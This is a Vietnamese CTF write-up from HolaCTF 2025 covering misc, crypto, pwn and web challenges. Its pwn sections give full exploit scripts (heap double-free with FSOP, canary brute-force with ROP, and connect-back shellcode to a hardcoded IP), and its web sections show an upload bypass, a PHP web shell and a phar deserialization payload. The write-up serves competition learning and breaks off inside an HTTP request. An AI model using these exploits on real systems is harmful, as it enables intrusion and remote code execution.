# HolaCTF 2025 - CyberCh1ck

---
## MISC
### lunaDBv2

Nhận định & Format file
* `lunadbv2` thực chất là **tar** (đầu có `ustar`), bên trong có:
* `build/main.rs` — source code builder
* `build/secret.lunadb` — file DB
* DB `secret.lunadb` có chữ ký `LUNA` + các vùng đánh dấu:
* `H_START/H_END` — header (tên DB, version, registered name, license bytes…)
* `D_START/D_END` — **data** (các note/record)
* `F_START/F_END` — **keys** (mỗi key 8 bytes)
* Mỗi note được serialize theo thứ tự:
```
u16 note_id
string access_token
string first_name
string last_name
string email
string title
u64 key_index_field (mask 1-bit chỉ vị trí key trong F section; nếu rỗng/invalid thì = 0xFFFFFFFFFFFFFFFF)
bytes encrypted_content (DES-ECB, PKCS#7, key 8 bytes)
u64 creation_ts
u64 modification_ts
u8 is_suspended (bool)
```
* **Mã hoá:** `DES-ECB` (OpenSSL), pad PKCS#7, key 8 byte lấy từ `F_START..F_END`. `key_index_field` là bitmask 64-bit: vị trí bit set = index key.
Khai thác
* Parse `F` để lấy danh sách key 8 byte.
* Iterate từng note trong vùng `D`, lấy `key_index_field` ⇒ index key ⇒ DES-ECB decrypt `encrypted_content` ⇒ bóc pad ⇒ đọc UTF-8.
* Tìm note có chứa `HOLACTF{`.
Kết quả
GPT đã parse và decrypt được **5002** note, trong đó có 1 note chứa flag:
**Flag:**
`HOLACTF{4_c0Ol_Cu5t0m_f1lE_5truC7}`
---
### Sanity Check

Inspect vào https://holactf2025.ehc-fptu.club/posts/afc27b80 rồi ctrl+f là ra:

> Flag: HOLACTF{th1s_s4n1ty_ch3ck_1s_w1ld}
---
### Weird png

Phân tích nhanh
* File `weird.png` có header PNG hợp lệ (`89504e47…`) nhưng **CRC của IHDR = 0**, nên mở bằng viewer sẽ fail.
* Kích thước đúng **512 bytes** và **kết thúc bằng `0x55AA`** → chuẩn **boot sector** (MBR) ngụy trang dạng PNG.
* Từ offset sau IHDR thấy bytecode **16-bit real mode**: `8C C8 (mov ax, cs)`, `8E D8 (mov ds, ax)`, … và có `int 10h` (BIOS teletype) → bootloader in thông điệp.
* Chuỗi không nằm “trần” trong file: code **build chuỗi trên stack** bằng các cặp lệnh `mov ax, imm16; xor ax, 0x1234; push ax`, rồi `mov bp, sp` và loop:
```
mov al, [bp]
inc bp
or al, al
jz end
mov ah, 0x0E
int 10h
jmp loop
```
⇒ Ta chỉ cần trích các immediate, **gỡ XOR 0x1234**, đảo thứ tự push (vì in từ đáy stack) và ghép theo little-endian.
Flag
**`HOLACTF{3A5Y_b0OT_104D3R_727_}`**
```python!
import sys, zipfile
def read_bytes(path):
if path.lower().endswith(".zip"):
with zipfile.ZipFile(path, "r") as z:
name = next(n for n in z.namelist() if n.lower().endswith(".png"))
return z.read(name)
return open(path, "rb").read()
def extract_flag(data):
code = data[33:] # skip PNG sig+IHDR
vals = []
i = 0
ax = None
while i < len(code):
b = code[i]
if b == 0xB8: # mov ax, imm16
ax = int.from_bytes(code[i+1:i+3], 'little')
i += 3
elif b == 0x35: # xor ax, imm16
imm = int.from_bytes(code[i+1:i+3], 'little')
if ax is not None:
ax ^= imm
i += 3
elif b == 0x50: # push ax
if ax is not None:
vals.append(ax)
i += 1
else:
i += 1
# reverse stack order + little endian
buf = b''.join(v.to_bytes(2,'little') for v in reversed(vals))
return buf.split(b'\x00',1)[0].decode()
if __name__ == "__main__":
path = sys.argv[1] if len(sys.argv)>1 else "weird.png"
data = read_bytes(path)
print(extract_flag(data))
```
> 
---
### the REGEX

Ý tưởng & Quan sát
* Server cho 10 round; mỗi round trả về **regex đã neo** (`^…$`), yêu cầu 1 chuỗi **ASCII printable** (0x20–0x7E), ≤256 bytes, đúng trong **<5s**.
* Pattern kiểu “boss” dùng **xếp chồng lookahead**:
* Khóa độ dài: `(?=.{N}$)` hoặc `(?:.{N})$`.
* Ép ký tự tại vị trí k: `(?=.{k}[class])`, `(?=.{k}X)`, `(?=.{k}\d|\w|\s|…)`.
* Ràng buộc **bằng nhau** với named group: `(?=.{a}(?P<X>… ).{b}(?P=X))` ⇒ vị trí `a` và `a+1+b` phải giống nhau (và cùng nằm trong class/literal đó).
Chiến lược
* Biến regex → **bài toán ràng buộc ký tự theo vị trí** (CSP):
1. Lấy N.
2. Khởi tạo `allowed[i] = {tất cả printable}` cho i∈\[0..N-1].
3. Với mỗi lookahead:
* `(?=.{k}[S])` ⇒ `allowed[k] ∩= parse_class(S)`.
* `(?=.{k}X)` ⇒ `allowed[k] ∩= {X}`; với `\d \w \s \D \W \S` thì map sang tập tương ứng.
* `(?=.{a}(?P<X>Cap).{b}(?P=X))` ⇒
`allowed[a] ∩= set(Cap)` và `allowed[a+1+b] ∩= set(Cap)`; thêm cặp **bằng nhau** `(a, a+1+b)`.
4. Lan truyền ràng buộc: nếu một bên của cặp đã cố định, gán bên còn lại; vị trí chỉ còn 1 ký tự thì chốt.
5. Điền nốt phần còn lại (chọn bất kỳ ký tự trong `allowed[i]`), rồi **verify** bằng `re.fullmatch()`; nếu không khớp thì thử ngẫu nhiên trong miền cho đến khi khớp.
Ví dụ round mẫu
```
^(?=.{10}$)(?=.{3}[f-w])(?=.{4}[f-y])(?=.{6}[d-z])
(?=.{3}(?P<E0>o).{1}(?P=E0))(?=.{1}(?P<E1>V).{5}(?P=E1))(?:.{10})$
```
Suy ra (đánh số từ 0):
* pos1='V' và pos7='V'; pos3='o', pos5='o';
* pos4∈\[f–y], pos6∈\[d–z].
Chọn phần còn lại tùy ý ⇒ chuỗi hợp lệ: `AVBofodVCD`.
Khai thác (automation)
* Viết client TCP đọc regex từng dòng → áp dụng thuật toán trên → gửi đáp án.
* Sau 10/10 round server in `HOLACTF{...}`.
* Lệnh chạy (ví dụ):
`python regx.py --host 127.0.0.1 --port 54522`
Lưu ý
* Chỉ dùng ký tự printable; **dot `.`** trong ràng buộc vị trí coi như “không hạn chế”.
* Đảm bảo thời gian mỗi round <5s ⇒ hiện thực theo ràng buộc vị trí (không brute force toàn chuỗi).
* Có thể cần hỗ trợ `\d \w \s` và phủ định của chúng; còn lại hiếm khi xuất hiện.
> Kết luận: coi regex lookahead như các “luật” cục bộ theo chỉ số ký tự, giải dưới dạng CSP → build chuỗi hợp lệ → tự động hóa 10 vòng để lấy flag.
```python!
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
REGEX EXTREME – fully automated TCP solver (stdlib only)
- Connects to host/port, reads each round's regex, constructs a matching
ASCII-printable string under 256 bytes, and submits within 5 seconds.
- Handles common "final boss" pattern style: total-length guard, stacked
lookaheads that pin characters at positions via char-classes or literals,
and equality constraints via named-group backreferences.
Usage:
python3 regex_flag_runner.py --host 127.0.0.1 --port 54522
# or dry-run a single pattern locally:
python3 regex_flag_runner.py --dry "^(?=.{10}$)(?=.{3}[f-w])...$"
"""
import argparse, socket, sys, re, random, time
PRINTABLE = [chr(i) for i in range(0x20, 0x7F)]
PRINTABLE_SET = set(PRINTABLE)
DIGITS = set("0123456789") & PRINTABLE_SET
LOWER = set("abcdefghijklmnopqrstuvwxyz") & PRINTABLE_SET
UPPER = set("ABCDEFGHIJKLMNOPQRSTUVWXYZ") & PRINTABLE_SET
ALPHA = LOWER | UPPER
WORD = ALPHA | DIGITS | set("_")
SPACE = set(" ") # printable whitespace within the allowed range
DOTSET = PRINTABLE_SET # for '.' wildcard in our constraint context
def token_set(tok: str) -> set:
if tok == 'd': return DIGITS
if tok == 'w': return WORD
if tok == 's': return SPACE
if tok == 'D': return PRINTABLE_SET - DIGITS
if tok == 'W': return PRINTABLE_SET - WORD
if tok == 'S': return PRINTABLE_SET - SPACE
return None
def parse_char_class(body: str) -> set:
"""
Parse a character class body like '^A-F0-9_\s' (supports \d \w \s and their negations).
Keeps result within printable ASCII. Basic ranges (a-z) are supported.
"""
s = set()
invert = False
i = 0
if body.startswith('^'):
invert = True
body = body[1:]
while i < len(body):
c = body[i]
if c == '\\' and i+1 < len(body):
t = body[i+1]
ts = token_set(t)
if ts is not None:
s.update(ts); i += 2; continue
# escape sequence as literal (e.g. \], \-, \{, \})
s.add(t); i += 2; continue
if i+2 < len(body) and body[i+1] == '-' and body[i+2] != ']':
start = body[i]; end = body[i+2]
# clamp to printable
rng = [chr(x) for x in range(ord(start), ord(end)+1)]
s.update(ch for ch in rng if ch in PRINTABLE_SET)
i += 3
else:
s.add(c); i += 1
s = s & PRINTABLE_SET
return (PRINTABLE_SET - s) if invert else s
def first_or_default(it, default=None):
for x in it: return x
return default
# --- Constraint patterns -------------------------------------------------------
# length guard styles
LENGTH_RE = re.compile(r"\(\?=\.\{(\d+)\}\$\)")
LENGTH_ALT_RE = re.compile(r"\(\?:\.\{(\d+)\}\)\$")
# class-at-position: (?=.{k}[...])
CLASS_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}\[([^\]]+)\]\)")
# literal-at-position: (?=.{k}X) or escaped like (?=.{k}\{) or token (?=.{k}\d) etc.
LITERAL_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}(\\.|[^\\\[\(])\)")
# named backref pair: (?=.{a}(?P<NAME>[... or literal]).{b}(?P=NAME))
EQ_PAIR_NAMED_RE = re.compile(
r"\(\?=\.\{(\d+)\}\(\?P<([A-Za-z_]\w*)>(\[.*?\]|\\?.)\)\.\{(\d+)\}\(\?P=\2\)\)"
)
def build_constraints(pat: str):
# Length N
N = None
m = LENGTH_RE.search(pat)
if m:
N = int(m.group(1))
else:
m2 = LENGTH_ALT_RE.search(pat)
if m2: N = int(m2.group(1))
if N is None: N = 32 # fallback
allowed = [set(PRINTABLE) for _ in range(N)]
eq_pairs = [] # list[(a,b)] requiring equality (and same allowed set if capture is a class)
# apply class-at-position
for m in CLASS_AT_POS_RE.finditer(pat):
pos = int(m.group(1))
cls_body = m.group(2)
cls_set = parse_char_class(cls_body)
if 0 <= pos < N:
allowed[pos] &= cls_set
# apply literal/token at position
for m in LITERAL_AT_POS_RE.finditer(pat):
pos = int(m.group(1))
raw = m.group(2)
if raw.startswith('\\') and len(raw) == 2:
ts = token_set(raw[1])
if ts is not None:
if 0 <= pos < N: allowed[pos] &= ts
continue
lit = raw[1]
else:
lit = raw
if lit == '.':
# wildcard -> no extra constraint beyond printable
continue
if 0 <= pos < N:
allowed[pos] &= {lit}
# equality pairs via named capture + backref
for m in EQ_PAIR_NAMED_RE.finditer(pat):
start = int(m.group(1))
cap = m.group(3)
gap = int(m.group(4))
pos_a = start
pos_b = start + 1 + gap
if not (0 <= pos_a < N and 0 <= pos_b < N):
continue
if cap.startswith('[') and cap.endswith(']'):
cls_set = parse_char_class(cap[1:-1])
allowed[pos_a] &= cls_set
allowed[pos_b] &= cls_set
eq_pairs.append((pos_a, pos_b))
else:
# literal or escaped token/char
if cap.startswith('\\') and len(cap) == 2:
ts = token_set(cap[1])
if ts is not None:
allowed[pos_a] &= ts
allowed[pos_b] &= ts
eq_pairs.append((pos_a, pos_b))
continue
lit = cap[1]
else:
lit = cap[0]
allowed[pos_a] &= {lit}
allowed[pos_b] &= {lit}
# technically eq constraint is implied already
return N, allowed, eq_pairs
def realize_string(N, allowed, eq_pairs, pat, max_tries=4000):
# Greedy fixpoint for forced positions
s = [None]*N
changed = True
while changed:
changed = False
# singletons
for i in range(N):
if s[i] is None and len(allowed[i]) == 1:
s[i] = next(iter(allowed[i])); changed = True
# propagate equalities
for a,b in eq_pairs:
if s[a] is not None and s[b] is None and s[a] in allowed[b]:
s[b] = s[a]; changed = True
if s[b] is not None and s[a] is None and s[b] in allowed[a]:
s[a] = s[b]; changed = True
# deterministic fill (prefer smallest char to be reproducible)
def pick_lowest(st: set):
return min(st) if st else None
t = list(s)
# fill eq-pairs from intersections
for a,b in eq_pairs:
inter = allowed[a] & allowed[b]
if not inter: break
if t[a] is None and t[b] is None:
ch = pick_lowest(inter)
t[a] = ch; t[b] = ch
elif t[a] is None and t[b] in inter:
t[a] = t[b]
elif t[b] is None and t[a] in inter:
t[b] = t[a]
# fill remaining
ok = True
for i in range(N):
if t[i] is None:
if not allowed[i]:
ok = False; break
t[i] = pick_lowest(allowed[i])
if ok:
cand = "".join(t)
try:
if re.fullmatch(pat, cand):
return cand
except re.error:
pass
# randomized repair
rng = random.Random(2025)
for _ in range(max_tries):
t = list(s)
# eq-pairs
for a,b in eq_pairs:
inter = allowed[a] & allowed[b]
if not inter: break
if t[a] is None and t[b] is None:
ch = rng.choice(list(inter)); t[a]=ch; t[b]=ch
elif t[a] is None and t[b] in inter:
t[a] = t[b]
elif t[b] is None and t[a] in inter:
t[b] = t[a]
# remaining
valid = True
for i in range(N):
if t[i] is None:
if not allowed[i]:
valid = False; break
t[i] = rng.choice(list(allowed[i]))
if not valid: continue
cand = "".join(t)
try:
if re.fullmatch(pat, cand):
return cand
except re.error:
# If the service uses a slightly different flavor, still try random
pass
# hail mary: random printable of length N until it fits
for _ in range(max_tries):
cand = "".join(random.choice(PRINTABLE) for _ in range(N))
try:
if re.fullmatch(pat, cand):
return cand
except re.error:
break
raise ValueError("Failed to realize string for pattern")
def solve_one(pat: str) -> str:
pat = pat.strip()
N, allowed, eq_pairs = build_constraints(pat)
return realize_string(N, allowed, eq_pairs, pat)
# --- IO (TCP + line reader) ---------------------------------------------------
def recvline(sock, buf):
while b"\n" not in buf[0]:
chunk = sock.recv(4096)
if not chunk:
break
buf[0] += chunk
if b"\n" in buf[0]:
line, buf[0] = buf[0].split(b"\n", 1)
return line.decode("utf-8", "ignore")
if buf[0]:
line = buf[0]; buf[0] = b""
return line.decode("utf-8", "ignore")
return ""
def run_tcp(host: str, port: int):
print(f"[+] Connecting to {host}:{port} ...")
with socket.create_connection((host, port), timeout=10) as s:
s.settimeout(10)
buf = [b""]
flag = None
while True:
line = recvline(s, buf)
if line == "":
break
print(line)
if "HOLACTF{" in line:
flag = line.strip()
break
# Detect the regex line (usually starts with ^ and ends with $)
if re.match(r"\s*\^.*\$\s*$", line):
pat = line.strip()
try:
ans = solve_one(pat)
except Exception as e:
print("[!] Solver fallback due to:", e)
# try quick randoms with detected length
m = LENGTH_RE.search(pat) or LENGTH_ALT_RE.search(pat)
L = int(m.group(1)) if m else 10
for _ in range(1000):
cand = "".join(random.choice(PRINTABLE) for _ in range(L))
try:
if re.fullmatch(pat, cand):
ans = cand; break
except re.error:
ans = cand; break
else:
ans = "A"*L
s.sendall((ans + "\n").encode())
print(f"Answer> {ans}")
if flag:
print("[+] FLAG:", flag)
else:
print("[*] Disconnected (flag not detected in stream).")
def run_dry(pat: str):
print("[dry] pattern:", pat)
ans = solve_one(pat)
print("[dry] answer :", ans)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=54522)
ap.add_argument("--dry", help="Solve one pattern locally and exit")
args = ap.parse_args()
if args.dry:
run_dry(args.dry)
else:
run_tcp(args.host, args.port)
if __name__ == "__main__":
try:
main()
except Exception as e:
print("[!] Error:", e)
finally:
input("\nDone. Press Enter to exit...")
```
> 
---
## CRYPTO
### Cs2Trash

Thử thách mã hóa cùng một thông điệp với e=65537 dưới ba môđun khác nhau. Mỗi môđun cho trước thực chất là số nguyên tố, do đó φ(n)=n−1 đã biết. Điều này có nghĩa là bạn có thể tính số mũ riêng d≡e⁻¹ (mod n−1) và giải mã chỉ với một trong ba bộ ba (do đó "một môđun là đủ").
```python!
from Crypto.Util.number import long_to_bytes
e = 65537
n = 106274132069853085771962684070654057294853035674691451636354054913790308627721
c = 40409669713698525444927116587938485167766997176959778633087672968720888190012
d = pow(e, -1, n-1) # n is prime ⇒ φ(n)=n-1
m = pow(c, d, n)
print(long_to_bytes(m)) # b'HOLACTF{ju5t_a_b4s1c_CRT}'
```
---
### EnigmaHardCode

Tóm tắt
* Cho: 3 rotor + ring, 1 reflector, plugboard thiếu **1 dây**, và ciphertext
* Dựa vào flag format `HOLACTF{.*}` → dùng “crib” **`HOLACTF{`** để suy luận cấu hình còn thiếu.
Cấu hình máy
* **Reflector:** UKW-C `FVPJIAOYEDRZXWGCTKUQSBNMHL`
* **Rotors (L-M-R):** `II – III – I`
* II `AJDKSIRUXBLHWTMCQGZNPYFVOE` (**Ring E**)
* III `BDFHJLCPRTXVZNYEIWGAKMUSQO` (**Ring H**)
* I `EKMFLGDQVZNTOWYHXUSPAIBRCJ` (**Ring C**)
* **Plugboard (từ hình):** `AO, DP, ER, FT, IU, JW, KY, LX` + **thiếu 1 cặp**
* **Crib:** “`HOLACTF{`”
Chiến lược
1. Giữ nguyên reflector, thứ tự rotor và **ringstellung** theo đề.
2. Dùng crib-drag: thử toàn bộ **Grundstellung** (26³) đồng thời brute-force **cặp dây còn thiếu** (chọn trong các chữ chưa cắm).
3. Với mỗi cấu hình, chỉ giải 8 ký tự đầu để kiểm tra có ra **`HOLACTF{`** hay không → lọc cực nhanh.
4. Thu được đúng **1 nghiệm**.
Nghiệm duy nhất
* **Grundstellung:** `V M X`
* **Cặp dây còn thiếu:** `C ↔ V`
* (Plugboard đầy đủ: `AO, DP, ER, FT, IU, JW, KY, LX, CV`)
> Ý tưởng chính: dùng định dạng flag làm **crib** để khóa được cả vị trí rotor lẫn cặp plugboard bị mất. Chỉ một cấu hình khớp → flag duy nhất.
---
### ImLosingYou

Vì đề dùng e=2 và thông điệp m đủ nhỏ so với n nên m² < n ⇒ phép “mod n” không làm thay đổi gì: c chính là m² trong số học thường. Chỉ cần lấy căn nguyên vẹn của c là ra m; kiểm tra thêm thấy m − mod_m là một số 79-bit, khớp với getrandbits(80).
```python!
from math import isqrt
n = 5655306554322573...266488587
c = 2490644801761448...682934025
mod_m = 4990636033374352...602090122856806
m = isqrt(c)
assert m*m == c # chứng minh c là perfect square
flag = m.to_bytes((m.bit_length()+7)//8, 'big').decode()
print(flag) # HOLACTF{f33ls_l1k3_l0s1ng_h3r}
# kiểm tra “lost part”
delta = m - mod_m
print(delta.bit_length()) # 79 (≈ getrandbits(80))
```
---
### Vigenere có dấu?

1. **Dùng đúng bảng chữ cái** như trên để ánh xạ chỉ số ký tự (mod 89).
2. **Kasiski** trên ciphertext (bỏ khoảng trắng/punct.): khoảng cách các lặp cho thấy **key length = 7**.
3. Với $k=7$, **tối ưu từng cột** (Caesar theo bảng trên) bằng một hàm chấm điểm ngôn ngữ Việt (đếm bigram/word phổ biến như *ng, nh, ch, th, qu, không, được, trong,…* sau khi **bỏ dấu** để chấm).
4. Ra **key = `phuthuy`**, giải toàn bộ là tiếng Việt mạch lạc. Đoạn cuối ghi rõ:
*“câu chuyện hay đúng không? còn đây là flag của bạn, hãy cho nó … cách bằng gạch dưới, bỏ hết dấu tiếng việt trước khi nộp nhé: "krische độc ác"”*
⇒ Chuẩn hoá → **`krische_doc_ac`** ⇒ **`HOLACTF{krische_doc_ac}`**.
---
## PWN
### Babyheap

- Đây là một bài heap với bug double free khi bài không check xem `book` đã được free hay chưa.
- Hơn nữa nó còn không memset vùng data khiến ta có thể leak được libc. Còn heap ta dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c). Mình bruce force 1 byte heap.
- Về kĩ thuật mình dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup_into_stack.c). Mình ghi đè con trỏ của tcache rồi FSOP để lấy shell.
- Final script:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
# context.log_level='debug'
e = ELF('chall_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))
while True:
try:
if args.REMOTE:
p = remote('127.0.0.1',45953)
else:
p = process(e.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
brva 0x000000000000133A
c
''')
def create(idx, size, content):
sla(b'>', b'1')
sln(b':', idx)
sln(b':', size)
sa(b':', content)
def delete(idx):
sla(b'>', b'2')
sln(b':', idx)
def show(idx):
sla(b'>', b'3')
sln(b':', idx)
def algo(cipher: int) -> int:
key = 0
plain = 0
for i in range(1, 6):
bits = 64 - 12 * i
if bits < 0:
bits = 0
mask64 = (1 << 64) - 1
plain = (((cipher ^ key) >> bits) << bits) & mask64
key = plain >> 12
print(f"round {i}:")
print(f"key: {key:#018x}")
print(f"plain: {plain:#018x}")
print(f"cipher: {cipher:#018x}\n")
return plain
create(0,0x500,b'a')
create(1,0x50,b'a')
create(2,0x50,b'a')
delete(2)
delete(1)
delete(0)
create(0,0x50,b'a')
show(0)
ru(b'tent: ')
leak = u64(r(6).ljust(8,b'\x00'))
log.info(f"leak: {hex(leak)}")
result = algo(leak)-0x870
print(f"result: {result:#018x}")
if result & 0xff == 0x00:
info(success("Found correct plain!"))
pass
else:
continue
create(1,0x60,b'a')
show(1)
ru(b'tent: ')
l.address = u64(r(6).ljust(8,b'\x00'))-0x21b161
log.info(f"l.address: {hex(l.address)}")
create(0,0x200,b'a')
create(1,0x200,b'a')
delete(0)
delete(1)
for i in range(9):
create(i,0x70,b'a')
for i in range(7):
delete(i)
delete(7)
delete(8)
delete(7)
for i in range(7):
create(i,0x70,b'a')
# sl(b'')
# p.wait(0.2)
# sla(b'>', b'1')
# sln(b':', 7)
# sln(b':', 0x70)
# s(p64(((result+0xb70)>>12)^(result+0x520)))
create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
create(0,0x70,p64(((result+0x520)>>12)^(l.sym._IO_2_1_stdout_)))
create(0,0x200,b'a')
fp = FileStructure()
fp.flags = b' sh\0'
fp._lock = p64(l.sym['_IO_stdfile_1_lock'])
fp._wide_data = p64(l.sym['_IO_2_1_stdout_']-0x10)
fp.unknown2 = p64(0)*4 + p64(l.sym['system']) + p64(l.sym['_IO_2_1_stdout_']+0x60)
fp.vtable = p64(l.address+0x216f58-0x38)
payload = bytes(fp)
GDB()
create(0,0x200,payload)
p.interactive()
except Exception as e:
pass
# print(e)
# continue
```
---
### Login

- Bài này ta có thể dùng hàm kiểm tra này để bruce force canary vì nó chỉ kiểm tra đến độ dài của một trong hai biến, từ đó ROP leak libc ([kĩ thuật](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#leaking-libc)) và lấy shell:

- Final scipt:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
context.log_level='debug'
#
e = ELF('chall_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))
if args.REMOTE:
p = remote('127.0.0.1',35715)
else:
p = process(e.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x000000000040158B
c
''')
GDB()
known_canary = b'\xff'
log.info("Starting canary brute-force...")
log.info(f"Known canary so far: {known_canary.hex()}")
for i in range(1, 8):
found_byte = False
for byte_val in range(1,256):
payload = known_canary
payload += bytes([byte_val])+b'\x00'
sla(b':',b'1')
sa(b'password:',payload)
output = p.recvline()
output = p.recvline()
info(output)
if b'Login successfully!' in output:
known_canary += bytes([byte_val])
log.success(f"Found byte: {hex(byte_val)}")
log.info(f"Known canary so far: {known_canary.hex()}")
found_byte = True
break
info(known_canary[::-1])
patched = known_canary.replace(b"\xff", b"\x00")
sla(b':',b'2')
sla(b':',b'\x00'*0x38+patched+p64(0x4043e0+0x40+0x300)+p64(e.plt.gets)*2+p64(0x000000000040101a)+p64(e.plt.printf)+p64(0x00000000004014E0))
sla(b':',b'3')
sleep(0.2)
sl(b"a")
sleep(0.2)
sl(b"%21$" + p8(u8(b"p")+1))
raw=p.recvuntil(b'40',drop=False)
leaked_str = raw.decode().strip()
value = int(leaked_str, 16)
l.address = value-0x29e40
info(f"libc base: {hex(l.address)}")
sl(b'\x00'*0x38+patched+p64(0x404018+0x40)+p64(l.address+0x000000000002a3e5)+p64(bin())+p64(0x000000000040101a)+p64(l.sym.system))
p.interactive()
```
---
### Mute

- Đây là một bài revert shell, vì mình thử lấy shell không được nên mình cat thằng flag luôn.
- Final script:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
context.log_level='debug'
e = ELF('chall', checksec=False)
context.binary = e
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))
if args.REMOTE:
p = remote('127.0.0.1',38301)
else:
p = process(e.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x40133a
c
''')
asm_code =asm( """
mov rax, 41
mov rdi, 2
mov rsi, 1
xor rdx, rdx
syscall
mov rdi, rax
mov rcx, 0x2415a28b059e0002
push 0
push rcx
mov rsi, rsp
mov rdx, 16
mov rax, 42
syscall
mov rsi, 0
dup_loop:
mov rax, 33
syscall
inc rsi
cmp rsi, 3
jne dup_loop
xor rsi, rsi
push rsi
xor rdx, rdx
push rdx
mov rax, 0x7478742e67616c66
push rax
mov r9, rsp
push rdx
mov rax, 0x7461632f6e69622f
push rax
mov r8, rsp
push rdx
push r9
push r8
mov rsi, rsp
mov rdi, r8
push 59
pop rax
syscall
""")
s(asm_code)
p.interactive()
```
---
### File manager

- Bài này đã hạn chế việc mở file flag.txt và self. Nhưng có một trick đó là thay self bằng pid là được. Ta chỉ cần DEBUG và xem thử lúc đấy pid và fd của file flag.txt là bao nhiêu.
- Payload: `/proc/9/fd/6`
## WEB
### Sanity check

Chall cho route `/update` để ghi dữ liệu vào file nhưng filter chỉ kí tự `0` và `1`. Để get được flag thì ta cần có `Holactf` trong nội dung file.

Ở đây dữ liệu được truyền vào dưới dạng `json` nên chúng ta có truyền vào dưới dạng `dict` để bypass

```
import requests
BASE_URL = 'http://localhost:5000'
z = ['0' * (i + 1) for i in range(256)]
o = ['0' * i + '1' for i in range(256)]
d = {key: '' for key in z + o}
d['0'] = 'Holactf'
s = requests.Session()
s.post(f'{BASE_URL}/', data={'username': 'sdcclds'})
p = {'data': d}
s.post(f'{BASE_URL}/update', json=p)
resp = s.get(f'{BASE_URL}/get_flag')
if resp.status_code == 200:
fl = resp.json().get('flag')
print(fl)
```
---
### another_hell_ehc

Đây là một chall về bug upload file, phân tích source ta thấy chỉ cho phép upload `jpg`, `jpeg`, `png`, `gif`. Và còn có openresty.

Để ý `$fileExt` filter không kĩ, ta có thể bypass bằng `img.jpg.php`. Bên cạnh đó là `filename` ta có thể path travelsal để ghi file vào `/var/www/html` thay vì folder `upoad/user/` -> `../../img.jpg.php`.
Tiếp đến là bypass openresty, tìm thấy blog về bypass openresty trên `multipart/form-data`. Bài viết mồ tả về `openresty` sẽ nhận param `filename` thứ nhất, trong khi `php` sẽ nhận param thứ hai. Ta chỉ cần truyền param `filename` là `img.jpg` và thứ hai là `../../img.jpg.php`.

Cuối cùng là RCE `/index.php?page=img.jpg.php&cmd=cat+/flag*`.

---
### hell_ehc

Đây là chall về bug phar deserialiation. Ta thấy chall có upload file và `unserialize`

`unserialize` chỉ cho phép class `User` và `LogFile`.

Quan sát thấy magic method `__destruct` gọi tới `md5_file`, đây là một hàm chấp nhận protocol `phar://`.
Thì stage chall này như sau: upload phar chứa payload RCE -> serialize class `LogFile` để trigger phar -> RCE.
```
<?php
class Logger
{
public function __destruct()
{
}
}
$phar = new Phar('khiempppd.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new Logger();
$object->logs = '/var/www/html/index.php';
$object->request = 'system($_GET[\'cmd\']); ?>';
$phar->setMetadata($object);
$phar->stopBuffering();
```
> gen phar
```
<?php
class LogFile
{
public $filename;
public function __destruct()
{
}
}
$object = new LogFile();
$object->filename = 'phar:///var/www/html/upload/dvkfdkvkdm/khiempppd.jpg';
echo base64_encode(serialize($object));
```
> gen payload trigger phar
```
GET /?page=upload HTTP/1.1
Host: localhost:9001
Cache-Control: max-age=0
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:9001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://localhost:9001/?page=home
Accept-Encoding: gzip, deflate, br
